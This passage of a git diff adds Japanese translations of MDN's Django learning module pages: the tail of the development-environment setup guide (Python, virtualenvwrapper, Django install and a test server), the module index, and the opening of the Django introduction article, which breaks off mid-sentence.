</li> + <li>Finderを使用してファイルを探し、パッケージファイルをダブルクリックします。インストールの後、プロンプトが表示されます。</li> +</ol> + +<p>以下に示すように、Python 3を確認することで、正常にインストールされたことを確認できます:</p> + +<pre class="brush: bash"><span style="line-height: 1.5;">python3 -V + Python 3.6.4</span> +</pre> + +<p>同様にpip3がインストールされていることを確認するには、利用可能なパッケージを一覧表示します:</p> + +<pre class="brush: bash">pip3 list</pre> + +<h3 id="Windows_10">Windows 10</h3> + +<p>WindowsにはデフォルトでPythonは含まれていませんが、<a href="https://www.python.org/">python.org</a>からpip3ツールと一緒に簡単にインストールできます:</p> + +<ol> + <li>必要なインストーラをダウンロードします: + <ol> + <li><a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a> を開きます</li> + <li><strong>Download Python 3.6.4</strong> ボタンを選択します（正確なマイナーバージョン番号は異なる場合があります）。</li> + </ol> + </li> + <li>ダウンロードしたファイルをダブルクリックし、インストールのプロンプトに従ってPythonをインストールします。</li> +</ol> + +<p>Python 3がインストールされたことを確認するには、コマンドプロンプトに次のテキストを入力します:</p> + +<pre class="brush: bash"><span style="line-height: 1.5;">py -3 -V + Python 3.6.4</span> +</pre> + +<p>Windowsインストーラには、デフォルトでpip3（Pythonパッケージマネージャ）が組み込まれています。次に示すようにインストールされたパッケージを一覧表示できます:</p> + +<pre class="brush: bash"><span style="line-height: 1.5;">pip3 list</span> +</pre> + +<div class="note"> +<p><strong>ノート</strong>: インストーラは、上記のコマンドが動作するために必要なものすべてをセットアップする必要があります。Pythonが見つからないというメッセージが表示された場合は、システムパスに追加する必要があります。</p> +</div> + +<h2 id="Python仮想環境内でのDjangoの使用">Python仮想環境内でのDjangoの使用</h2> + +<p>仮想環境を作成するために使用するライブラリは、 <a href="https://virtualenvwrapper.readthedocs.io/en/latest/index.html">virtualenvwrapper</a> （LinuxとmacOS X）と<a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a>（Windows）です。これらはどちらも<a href="https://developer.mozilla.org/en-US/docs/Python/Virtualenv">virtualenv</a>ツールを使用します。ラッパーツールは、すべてのプラットフォーム上のインターフェイスを管理するための一貫したインターフェイスを作成します。</p> + +<h3 id="仮想環境ソフトウェアのインストール">仮想環境ソフトウェアのインストール</h3> + +<h4 id="Ubuntu仮想環境のセットアップ">Ubuntu仮想環境のセットアップ</h4> + +<p>Pythonとpipをインストールした後、virtualenvwrapper（virtualenvを含む）をインストールできます。公式インストールガイドは<a href="http://virtualenvwrapper.readthedocs.io/en/latest/install.html">こちら</a>、または下記の手順に従ってください。</p> + +<p>pip3を使用してツールをインストールします:</p> + +<pre><code>sudo pip3 install virtualenvwrapper</code></pre> + +<p>次に、シェルのスタートアップファイルの最後に次の行を追加します（これはホームディレクトリ内の <strong>.bashrc</strong> という名前の隠しファイルです）。これらは、仮想環境の存在場所、開発プロジェクトディレクトリの場所、およびこのパッケージと共にインストールされるスクリプトの場所を設定します:</p> + +<pre><code>export WORKON_HOME=$HOME/.virtualenvs +export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3 +export VIRTUALENVWRAPPER_VIRTUALENV_ARGS=' -p /usr/bin/python3 ' +export PROJECT_HOME=$HOME/Devel +source /usr/local/bin/virtualenvwrapper.sh</code></pre> + +<div class="note"> +<p><strong>ノート</strong>: <code>VIRTUALENVWRAPPER_PYTHON</code>および<code>VIRTUALENVWRAPPER_VIRTUALENV_ARGS</code>変数は、Python3の通常のインストール場所を指し、<code>source /usr/local/bin/virtualenvwrapper.sh</code>は<code>virtualenvwrapper.sh</code> スクリプトの通常の場所を指します。テスト時にvirtualenvが動作しない場合は、Pythonとスクリプトが予想される場所にあることを確認してから、起動ファイルを適切に変更してください。<br> + <br> + あなたのシステムでの正しい場所は、<code>which virtualenvwrapper.sh</code>と<code>which python3</code>というコマンドを使って見つけることができます。</p> +</div> + +<p>次に、ターミナルで次のコマンドを実行してスタートアップファイルをリロードします:</p> + +<pre><code>source ~/.bashrc</code></pre> + +<p>この時点で、以下に示すように一連のスクリプトが実行されているはずです:</p> + +<pre><code>virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/premkproject +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postmkproject +... +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/preactivate +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postactivate +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/get_env_details</code> +</pre> + +<p>これで、<code>mkvirtualenv</code>コマンドを使用して新しい仮想環境を作成できます。</p> + +<h4 id="macOS_X仮想環境のセットアップ">macOS X仮想環境のセットアップ</h4> + +<p>macOS Xでのvirtualenvwrapperのセットアップは、Ubuntuの場合とほぼ同じです（<a href="http://virtualenvwrapper.readthedocs.io/en/latest/install.html">オフィシャルインストールガイド</a>またはそれ以下の指示に従います）。</p> + +<p>次に示すようにpipを使用してvirtualenvwrapper（およびvirtualenvをバンドル）をインストールします。</p> + +<pre><code>sudo pip3 install virtualenvwrapper</code></pre> + +<p>次に、シェルスタートアップファイルの最後に次の行を追加します。</p> + +<pre><code>export WORKON_HOME=$HOME/.virtualenvs +export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3 +export PROJECT_HOME=$HOME/Devel +source /usr/local/bin/virtualenvwrapper.sh</code> +</pre> + +<div class="note"> +<p><strong>ノート</strong>: <code>VIRTUALENVWRAPPER_PYTHON</code>変数はPython3の通常のインストール場所を指し、<code>source /usr/local/bin/virtualenvwrapper.sh</code>は<code>virtualenvwrapper.sh</code>スクリプトの通常の場所を指しています。テスト時にvirtualenvが動作しない場合は、Pythonとスクリプトが予想される場所にあることを確認してから、起動ファイルを適切に変更してください。</p> + +<p> </p> + +<p>たとえば、macOSでの1つのインストールテストでは、スタートアップファイルに次の行が必要になりました:</p> + +<pre><code>export WORKON_HOME=$HOME/.virtualenvs +export VIRTUALENVWRAPPER_PYTHON=/Library/Frameworks/Python.framework/Versions/3.7/bin/python3 +export PROJECT_HOME=$HOME/Devel +source /Library/Frameworks/Python.framework/Versions/3.7/bin/virtualenvwrapper.sh</code></pre> + +<p> </p> + +<p>あなたのシステムでの正しい場所は、<code>which virtualenvwrapper.sh</code>と<code>which python3</code>というコマンドを使って見つけることができます。</p> +</div> + +<p><br> + これらはUbuntuの場合と同じ行ですが、スタートアップファイルはホームディレクトリ内で <strong>.bash_profile</strong> という別の名前の隠しファイルです。</p> + +<div class="note"> +<p><strong>ノート</strong>: 編集する<strong>.bash-profile</strong>がFinderで見つからない場合は、ターミナルでnanoを使用して開くこともできます。</p> + +<p>コマンドは次のようになります:</p> + +<pre><code>cd ~ # Navigate to my home directory +ls -la #List the content of the directory. YOu should see .bash_profile +nano .bash_profile # Open the file in the nano text editor, within the terminal +# Scroll to the end of the file, and copy in the lines above +# Use Ctrl+X to exit nano, Choose Y to save the file.</code> +</pre> + +<p> </p> +</div> + +<p>ターミナルで次の呼び出しを行うことによって、スタートアップファイルをリロードします:</p> + +<pre class="brush: bash"><code>source ~/.bash_profile</code></pre> + +<p>この時点で、たくさんのスクリプトが実行されているのを見ることができます（Ubuntuのインストールと同じスクリプト）。<code>mkvirtualenv</code>コマンドを使用して新しい仮想環境を作成できるようになりました。</p> + +<h4 id="Windows_10仮想環境のセットアップ">Windows 10仮想環境のセットアップ</h4> + +<p><a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a>のインストールは、仮想環境情報を保存する場所（デフォルト値があります）を設定する必要がないため、virtualenvwrapperを設定するより簡単です。コマンドプロンプトで次のコマンドを実行するだけです:</p> + +<pre><code>pip3 install virtualenvwrapper-win</code></pre> + +<p>これで、<code>mkvirtualenv</code>コマンドで新しい仮想環境を作成できます。</p> + +<h3 id="仮想環境の作成">仮想環境の作成</h3> + +<p>virtualenvwrapperまたはvirtualenvwrapper-winをインストールすると、仮想環境での作業はすべてのプラットフォームでほとんど同様になります。</p> + +<p><code>mkvirtualenv</code> コマンドを使用して新しい仮想環境を作成できます。このコマンドが実行されると、セットアップされる環境が表示されます（表示されるのはプラットフォーム固有のものです）。コマンドが完了すると、新しい仮想環境がアクティブになります。これは、プロンプトの開始が環境の名前（下に示すように）になるので、確認できます。</p> + +<pre><code>$ mkvirtualenv my_django_environment + +Running virtualenv with interpreter /usr/bin/python3 +... +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get_env_details +(my_django_environment) ubuntu@ubuntu:~$</code> +</pre> + +<p>これで、Djangoをインストールして開発を開始できる仮想環境の中に入りました。</p> + +<div class="note"> +<p><strong>ノート</strong>: これ以降、この記事（と実際にはモジュール）では、上でセットアップしたようなPython仮想環境内でコマンドが実行されると仮定してください。</p> +</div> + +<h3 id="仮想環境の使用">仮想環境の使用</h3> + +<p>他にも知っておくべき便利なコマンドがいくつかあります（ツールのドキュメントには多くのものがありますが、これらはいつも使用するコマンドです）:</p> + +<ul> + <li><code>deactivate</code> — 現在のPython仮想環境を終了します</li> + <li><code>workon</code> — 利用可能な仮想環境を一覧表示します</li> + <li><code>workon name_of_environment</code> — 指定したPython仮想環境を有効にします</li> + <li><code>rmvirtualenv name_of_environment</code> — 指定された環境を削除します</li> +</ul> + +<h2 id="Djangoのインストール">Djangoのインストール</h2> + +<p>仮想環境を作成し、<code>workon</code>でその環境に入ってから、pip3を使用してDjangoをインストールできます。</p> + +<pre class="brush: bash">pip3 install django +</pre> + +<p>Djangoがインストールされていることをテストするには、次のコマンドを実行します（PythonがDjangoモジュールを見つけることができます）:</p> + +<pre class="brush: bash"># Linux/macOS X +python3 -m django --version + 2.0 + +# Windows +py -3 -m django --version + 2.0 +</pre> + +<div class="note"> +<p><strong>ノート</strong>: Windowsでは<code>py -3</code>コマンドをプレフィックスにしてPython 3スクリプトを起動し、Linux/macOS Xでは <code>python3</code>を実行します。</p> +</div> + +<div class="warning"> +<p><strong>重要</strong>: このモジュールの残りの部分は、 Python 3 (<code>python3</code>) を呼び出すためにLinuxコマンドを使用します。Windowsで作業している場合は、単にこの接頭辞を<code>py -3</code>に置き換えてください。</p> +</div> + +<h2 id="インストールのテスト">インストールのテスト</h2> + +<p>上記のテストはうまくいきますが、それほど楽しいことではありません。より面白いテストは、スケルトンプロジェクトを作成し、それが動作することを確認することです。これを行うには、コマンドプロンプト/ターミナルでDjangoアプリケーションを保存する場所に移動します。テストサイト用のフォルダを作成し、そのサイトに移動します。</p> + +<pre class="brush: bash">mkdir django_test +cd django_test +</pre> + +<p>次に示すように、<strong>django-admin</strong>ツールを使用して、 "mytestsite"という新しいスケルトンサイトを作成します。サイトを作成したら、<strong>manage.py</strong>というプロジェクト管理用のメインスクリプトがあるフォルダに移動します。</p> + +<pre class="brush: bash">django-admin startproject mytestsite +cd mytestsite</pre> + +<p>次に示すように<strong>manage.py</strong>と<code>runserver</code>コマンドを使用して、このフォルダ内から開発用Webサーバーを実行できます。</p> + +<pre class="brush: bash">$ python3 manage.py runserver +Performing system checks... + +System check identified no issues (0 silenced). + +You have 14 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions. +Run 'python manage.py migrate' to apply them. + +December 29, 2017 - 03:03:47 +Django version 2.0, using settings 'mytestsite.settings' +Starting development server at http://127.0.0.1:8000/ +Quit the server with CONTROL-C. +</pre> + +<div class="note"> +<p><strong>ノート</strong>: 上記のコマンドは、Linux/macOS Xコマンドを示しています。この時点では、 "14 unapplied migration(s)" という警告は無視できます！</p> +</div> + +<p>サーバーが稼働したら、ローカルWebブラウザで <code>http://127.0.0.1:8000/</code> というURLに移動して、サイトを表示できます。次のようなサイトが表示されます:</p> + +<p><img alt="Django Skeleton App Homepage" src="https://mdn.mozillademos.org/files/15728/Django_Skeleton_Website_Homepage.png"></p> + +<ul> +</ul> + +<h2 id="要約">要約</h2> + +<p>Django開発環境をあなたのコンピュータ上で稼働できるようになりました。</p> + +<p>テストのセクションでは、<code>django-admin startproject</code>を使用して新しいDjango Webサイトを作成する方法と、開発用Webサーバー（<code>python3 manage.py runserver</code>）を使用してブラウザで実行する方法についても簡単に説明しました。次の記事では、このプロセスを拡張して、シンプルで完全なWebアプリケーションを構築します。</p> + +<h2 id="参考文献"><a id="furtherreading" name="furtherreading">参考文献</a></h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/intro/install/">Quick Install Guide</a> （Djangoドキュメント）</li> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/install/">How to install Django — Complete guide</a> （Djangoドキュメント） - Djangoを削除する方法ついての情報が含まれています</li> + <li><a href="https://docs.djangoproject.com/en/2.0/howto/windows/">How to install Django on Windows</a> （Djangoドキュメント）</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}</p> + +<h2 id="このモジュール内">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/Server-side/Django/Introduction">Django の紹介</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/development_environment">Django 開発環境の設定</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django チュートリアル: 地域図書館ウェブサイト</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/skeleton_website">Django チュートリアル Part 2: ウェブサイトの骨組み作成</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Models">Django チュートリアル Part 3: モデルの使用</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Admin_site">Django チュートリアル Part 4: Django 管理サイト</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Home_page">Django チュートリアル Part 5: ホームページの作成</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Generic_views">Django チュートリアル Part 6: 汎用の一覧表示と詳細表示</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Sessions">Django チュートリアル Part 7: セッションフレームワーク</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Authentication">Django チュートリアル Part 8: ユーザー認証と権限</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Forms">Django チュートリアル Part 9: フォームの操作</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Testing">Django チュートリアル Part 10: Django ウェブアプリケーションのテスト</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Deployment">Django チュートリアル Part 11: Django を本番環境にデプロイする</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/web_application_security">Django ウェブアプリケーションセキュリティ</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django ミニブログ</a></li> +</ul> + +<p> </p> diff --git a/files/ja/learn/server-side/django/index.html b/files/ja/learn/server-side/django/index.html new file mode 100644 index 0000000000..cdb4304f5d --- /dev/null +++ b/files/ja/learn/server-side/django/index.html @@ -0,0 +1,69 @@ +--- +title: Djangoウェブフレームワーク (Python) +slug: Learn/Server-side/Django +tags: + - Python + - django + - ウェブアプリケーションフレームワーク + - サーバーサイドプログラミング + - プログラミング + - 初心者 + - 学習 + - 概要 +translation_of: Learn/Server-side/Django +--- +<div>{{LearnSidebar}}</div> + +<p>Django は、Python で書かれた高機能なサーバーサイドウェブフレームワークで、とても普及しています。このモジュールは、Django が最も人気のあるウェブサーバーフレームワークの 1 つである理由、開発環境の設定方法、独自のウェブアプリケーションを作成する方法を説明します。</p> + +<h2 id="Prerequisites" name="Prerequisites">前提条件</h2> + +<p>このモジュールを進める前に、Django を知る必要はありません。理想は、<a href="/ja/docs/Learn/Server-side/First_steps">サーバー・サイドのウェブサイトプログラミング第一歩</a> を読んで、サーバーサイドのウェブプログラミングとウェブフレームワークについて理解しておくことです。</p> + +<p>プログラミングの概念と <a href="/ja/docs/Glossary/Python">Python</a> に関する一般的な知識はあるとよいですが、コアの概念を理解することは必須ではありません。</p> + +<div class="note"> +<p><strong>注</strong>: Python は、初心者が読んで理解しやすい最も簡単なプログラミング言語の 1 つです。つまり、あなたがこのモジュールをより理解したいのであれば、インターネット上の多数の無料の書籍やチュートリアルがあなたを助けてくれます。(新しいプログラマーは python.org wiki の <a href="https://wiki.python.org/moin/BeginnersGuide/NonProgrammers">Python for Non Programmers</a> ページをチェックすると良いでしょう。)</p> +</div> + +<h2 id="Guides" name="Guides">ガイド</h2> + +<dl> + <dt><a href="/ja/docs/Learn/Server-side/Django/Introduction">Django の紹介</a></dt> + <dd>最初の Django の記事では、 "Django とは何ですか？" という疑問に答え、このウェブフレームワークの特徴と概要を説明します。主な機能の概要と、このモジュールで詳しく説明しない高度な機能などを紹介します。また、Django アプリケーションの主要な構成部品のいくつかを示して、使いはじめる前にどのように使うのか、何ができるのかを知っておきます。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Django/development_environment">Django 開発環境の設定</a></dt> + <dd>Django がどのようなものか知ったので、次は Windows、Linux (Ubuntu)、Mac OS X でDjango 開発環境をセットアップしてテストする方法を説明します。一般的なオペレーティングシステムを使っていれば、この記事で Django アプリケーションの開発を始められるでしょう。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django チュートリアル: 地域図書館ウェブサイト</a></dt> + <dd>最初の記事は、実践的なチュートリアルで学習する内容を説明し、「地域図書館ウェブサイト」の概要を示します。このウェブサイトの例は、後の記事で作り進めていきます。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Django/skeleton_website">Django チュートリアル Part 2: ウェブサイトの骨組み作成</a></dt> + <dd>この記事は、基本的なウェブサイトプロジェクトの「骨組み」をどのように作っていくのかを示します。サイト固有の設定、URL、モデル、ビュー、テンプレートを作成する方法について説明します。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Django/Models">Django チュートリアル Part 3: モデルの使用</a></dt> + <dd>この記事は、地域図書館ウェブサイト用のモデルを定義する方法を示します ― モデルはアプリケーションのデータを格納するデータ構造を表し、Django はデータベースにデータを格納できます。モデルとは何か、どのように定義されるのか、および主要なフィールドタイプのいくつかを説明します。また、モデルデータにアクセスする主な方法のいくつかを簡単に示します。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Django/Admin_site">Django チュートリアル Part 4: Django 管理サイト</a></dt> + <dd>地域図書館ウェブサイトのモデルを作成したので、Django 管理サイトを使用して実際の書籍データを追加します。最初に、管理サイトにモデルを登録する方法を示します。その後、ログインしてデータを作成する方法を示します。最後に、管理サイトの表示を改善する方法をいくつか示します。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Django/Home_page">Django チュートリアル Part 5: ホームページの作成</a></dt> + <dd>最初のページ全体を表示するコードを追加する準備が整いました。ここでは地域図書館ウェブサイトのホームページで各モデルタイプのレコード数を表示し、他のページへのサイドバーナビゲーションリンクを提供します。基本的な URL マップやビューを作成したり、データベースからレコードを取得したり、テンプレートを使用して実践的な経験を積むことができます。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Django/Generic_views">Django チュートリアル Part 6: 汎用の一覧表示と詳細表示</a></dt> + <dd>このチュートリアルでは、地域図書館ウェブサイトを拡張し、書籍や著者の一覧と詳細ページを追加します。ここでは、汎用のクラスベースのビューについて学び、共通のユースケースのために書くコードの量をどのように減らせるかを示します。またURLのパターンマッチングがどのように行われるのか詳しく説明します。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Django/Sessions">Django チュートリアル Part 7: セッションフレームワーク</a></dt> + <dd>このチュートリアルでは、地域図書館ウェブサイトを拡張し、ホームページにセッションベースのアクセスカウンターを追加します。これは比較的簡単な例ですが、セッションフレームワークを使用して、自分のサイトの匿名ユーザーに永続的な動作を提供する方法を示しています。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Django/Authentication">Django チュートリアル Part 8: ユーザー認証と権限</a></dt> + <dd>このチュートリアルでは、ユーザーが自分のアカウントで自分のサイトにログインできるようにする方法と、ログインできるかどうかを制御する方法、ログインしているかどうか、アクセス許可によって表示する方法について説明します。このデモンストレーションの一環として、地域図書館ウェブサイトを拡張し、ログインページとログアウトページを追加し、貸し出された本を表示するためのユーザーとスタッフのページを追加します。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Django/Forms">Django チュートリアル Part 9: フォームの操作</a></dt> + <dd>このチュートリアルでは、Django で <a href="/ja/docs/Web/Guide/HTML/Forms">HTML フォーム</a>を扱う方法、特にモデルインスタンスを作成、更新、削除するためのフォームを書く最も簡単な方法を紹介します。このデモンストレーションの一環として、図書館員が書籍を更新したり、管理アプリケーションを使用するのではなく独自のフォームを使用して著者の作成、更新、削除を行えるように、地域図書館ウェブサイトを拡張します。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Django/Testing">Django チュートリアル Part 10: Django ウェブアプリケーションのテスト</a></dt> + <dd>ウェブサイトが成長するにつれて、手動でテストするのが困難になります。コンポーネント間のやりとりが複雑になるにつれて、ある領域の小さな変更が、他の領域へ影響がないか検証するためのテストの追加が多く必要になります。これらの問題を軽減する1つの方法は、変更を行うたびに簡単かつ確実に実行できる自動テストを作成することです。このチュートリアルでは、Django のテストフレームワークを使用して、あなたのウェブサイトの単体テストを自動化する方法を示します。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Django/Deployment">Django チュートリアル Part 11: Django を本番環境にデプロイする</a></dt> + <dd>これで、地域図書館の素晴らしいウェブサイトを作成 (およびテスト) できました。公開ウェブサーバーにインストールして、図書館のスタッフやメンバーがインターネット経由でアクセスできるようにしたいですね。この記事では、ウェブサイトを展開するホストを見つける方法と、サイトを実稼働のために必要な準備作業の概要について説明します。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Django/web_application_security">Django ウェブアプリケーションセキュリティ</a></dt> + <dd>ユーザーデータの保護は、ウェブサイトの設計において不可欠な要素です。以前、<a href="/ja/docs/Web/Security">ウェブセキュリティ</a>の記事でより一般的なセキュリティ上の脅威のいくつかについて説明しました。この記事では、Django の組み込み保護がそのような脅威をどのように処理するかを実践的に実演します。</dd> +</dl> + +<h2 id="Assessments" name="Assessments">課題</h2> + +<p>次の課題では、上記のガイドに記載されているように、Django を使用してウェブサイトを作成する方法を理解しているかテストします。</p> + +<dl> + <dt><a href="/ja/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django ミニブログ</a></dt> + <dd>この課題では、このモジュールから学んだ知識の一部を使用して自分のブログを作成します。</dd> +</dl> diff --git a/files/ja/learn/server-side/django/introduction/index.html b/files/ja/learn/server-side/django/introduction/index.html new file mode 100644 index 0000000000..882c54bb56 --- /dev/null +++ b/files/ja/learn/server-side/django/introduction/index.html @@ -0,0 +1,281 @@ +--- +title: Djangoの紹介 +slug: Learn/Server-side/Django/Introduction +tags: + - Python + - Webフレームワーク + - django + - サーバーサイドプログラミング +translation_of: Learn/Server-side/Django/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}</div> + +<p class="summary"><span class="seoSummary">最初のDjangoの記事では、 "Djangoとは何ですか？" という疑問に答え、このWebフレームワークの特徴と概要を説明します。</span>主な機能の概要と、このモジュールで詳しく説明しない高度な機能などを紹介します。 また、Djangoアプリケーションの主要な構成部品のいくつかを示します。 (この時点ではまだテストできる開発環境を持っていません).</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシーを持っていること。<a href="/ja/docs/Learn/Server-side/First_steps">サーバーサイドウェブプログラミング</a> の一般的な理解、特に<a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">ウェブサイトにおけるクライントとサーバーのやりとりの仕組み</a>を理解していること。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>Djangoが何であるか、Djangoの持つ機能、そしてDjangoアプリケーションの主要な構成部品に精通します。</td> + </tr> + </tbody> +</table> + +<h2 id="Djangoとは何ですか？">Djangoとは何ですか？</h2> + +<p>Djangoは、安全でメンテナンス可能なWebサイトの迅速な開発を可能にする、高度なPython Webフレームワークです。経験豊富な開発者によって開発されたDjangoは、Web開発の多くの面倒事を引き受けてくれます。そのため車輪の再発明が不要で、アプリケーションを書くことに集中できます。無料でオープンソースであり、活発なコミュニティ、偉大なドキュメントがあります。また、無料と有料のサポートの多くのオプションもあります。 </p> + +<p>Djangoの以下の特徴はソフトウェアを書くのに役立ちます:</p> + +<dl> + <dt>完全</dt> + <dd>Djangoは "Batteries included" の哲学に従い、開発者が "すぐに" やりたいことのほとんどを提供します。必要なものはすべて1つの「製品」に含まれているため、すべてがシームレスに連携し、一貫した設計原則に従います。そして、豊富な<a href="https://docs.djangoproject.com/en/2.0/">最新のドキュメント</a>が用意されています。</dd> + <dt>多彩</dt> + <dd>Djangoは、コンテンツ管理システムやWikiからソーシャルネットワーク、ニュースサイトなど、ほとんどのタイプのWebサイトを構築できます。任意のクライアントサイドのフレームワークで動作し、HTML、RSSフィード、JSON、XMLなどのほとんどの形式のコンテンツを配信できます。現在読んでいるサイトもDjangoベースですよ！<br> + <br> + 内部的には、必要となるほとんどの機能(人気のあるデータベースやテンプレートエンジンなど)の選択肢を提供していますが、他のコンポーネントを使用するように拡張もできます。</dd> + <dt>安全</dt> + <dd>Djangoは、Webサイトを自動的に保護するために "正しいことをする" ように設計されたフレームワークです。多くの一般的なセキュリティミスを開発者が避けられるようにできています。例えば、セッション情報を脆弱な場所に置いたり、パスワードを直接保存するといった一般的なミスをDjangoでは避けるようになっています。セッション情報は、クッキーにセッションキーだけを格納し、実際のセッションデータはデータベースに保存されます。パスワードはパスワードハッシュをデータベースに格納します。このようにユーザーアカウントとパスワードを安全に管理する方法を提供しています。<br> + <br> + <em>パスワードハッシュは、送信されたパスワードから <a href="https://ja.wikipedia.org/wiki/%E6%9A%97%E5%8F%B7%E5%AD%A6%E7%9A%84%E3%83%8F%E3%83%83%E3%82%B7%E3%83%A5%E9%96%A2%E6%95%B0">暗号化ハッシュ関数</a>を介して生成された固定長の値です。 Djangoは入力されたパスワードが正しいかどうかを、ハッシュ関数を介した値と保存されたハッシュ値を比較することでチェックできます。これは "一方向性" の機能であり、もし保存されているハッシュ値が侵害されても、攻撃者が元のパスワードを解読するのは困難です。</em><br> + <br> + Djangoは、SQLインジェクション、クロスサイトスクリプティング(XSS)、クロスサイトリクエストフォージェリ(CSRF)、クリックジャッキングなどの多くの脆弱性に対する保護が有効です（これらの攻撃についての詳細は、 <a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">ウェブサイトのセキュリティ</a> を参照してください）。</dd> + <dt>スケーラブル</dt> + <dd>Djangoはコンポーネントベースの “<a href="https://ja.wikipedia.org/wiki/%E3%82%B7%E3%82%A7%E3%82%A2%E3%83%BC%E3%83%89%E3%83%BB%E3%83%8A%E3%83%83%E3%82%B7%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%81%E3%83%A3">シェアードナッシング</a>” アーキテクチャを採用しています（アーキテクチャの各部分は他と独立しており、必要に応じて置き換え、変更できます）。異なる部分を明確に分離しているため、キャッシュサーバー、データベースサーバー、アプリケーションサーバーの各ハードウェアをそれぞれ追加することによって、トラフィックの増加に合わせてスケールできるようになっています。いくつかの最も忙しいサイトは、ニーズを満たすためにDjangoを適切にスケールさせています（InstagramやDisqusなど）</dd> + <dt>メンテナンス可能</dt> + <dd>Djangoのコードは、保守可能で再利用可能になるような設計原則、デザインパターンを使って書かれています。特に、Do not Repeat Yourself（DRY）原則によって不要な複製がなく、コード量を削減します。Djangoは、関連する機能を再利用可能な "アプリケーション" にグループ化し、低いレベルでは関連するコードをモジュールにグループ化します（モデルビューコントローラ（MVC）パターンに沿っています）。</dd> + <dt>ポータブル</dt> + <dd>Djangoのコードは多くのプラットフォームで動作するPythonで書かれています。これはあなたがプラットフォームに縛られていないことを意味します。アプリケーションは多くの種類のLinux、Windows、Mac OS Xで実行できます。さらに、Djangoは多くのホスティングプロバイダによってよくサポートされています。Djangoサイトを特定のインフラストラクチャでホスティングするために、ドキュメントを提供していることが多いです。</dd> +</dl> + +<h2 id="どこから来たの？">どこから来たの？</h2> + +<p>Djangoは当初、2003年から2005年の間に、新聞のウェブサイトの作成とメンテナンスを担当するWebチームによって開発されました。いくつかのサイトを作成した後、チームは多くの共通コードとデザインパターンを除外、再利用するようになりました。この共通コードは、"Django" プロジェクトとして2005年7月にオープンソース化され、汎用のWeb開発フレームワークに発展しました。 </p> + +<p>Djangoは、2008年9月の最初のマイルストーンリリース（1.0）から、最新のリリースバージョンである2.0（2017）まで、成長を続けています。 各リリースでは、新しいタイプのデータベース、テンプレートエンジン、キャッシュのサポートから、"汎用"ビュー機能とクラスの追加（プログラミングタスクで開発者が記述しなければならないコード量を削減します）などの新機能追加やバグフィックスがありました。 </p> + +<div class="note"> +<p><strong>ノート</strong>: DjangoのWebサイトの<span style="line-height: 1.5;"> <a href="https://docs.djangoproject.com/en/2.0/releases/">リリースノート</a> をチェックして、最近のバージョンで何が変わったのか、どのような作業がDjangoを改善しているのか確認してください。</span></p> +</div> + +<p>Djangoは現在、活発なオープンソースプロジェクトであり、何千人ものユーザーとコントリビュータがいます。元々の起源に関連するいくつかの機能はまだありますが、DjangoはあらゆるタイプのWebサイトを開発できる汎用フレームワークに進化しました。<span style="line-height: 1.5;"> </span></p> + +<h2 id="Djangoはどれくらい普及していますか？">Djangoはどれくらい普及していますか？</h2> + +<p>サーバーサイドのフレームワークの普及率を決定的に測定する、すぐに利用できるものはありません （<a href="http://hotframeworks.com/">Hot Frameworks</a> のようなサイトでは、GitHubプロジェクトの数や、各プラットフォームのStackOverflowの質問数をカウントするなどのメカニズムを使用して人気を評価しています） より良い質問は、「人気のないプラットフォームで問題を避けるために、Djangoは "人気がある" 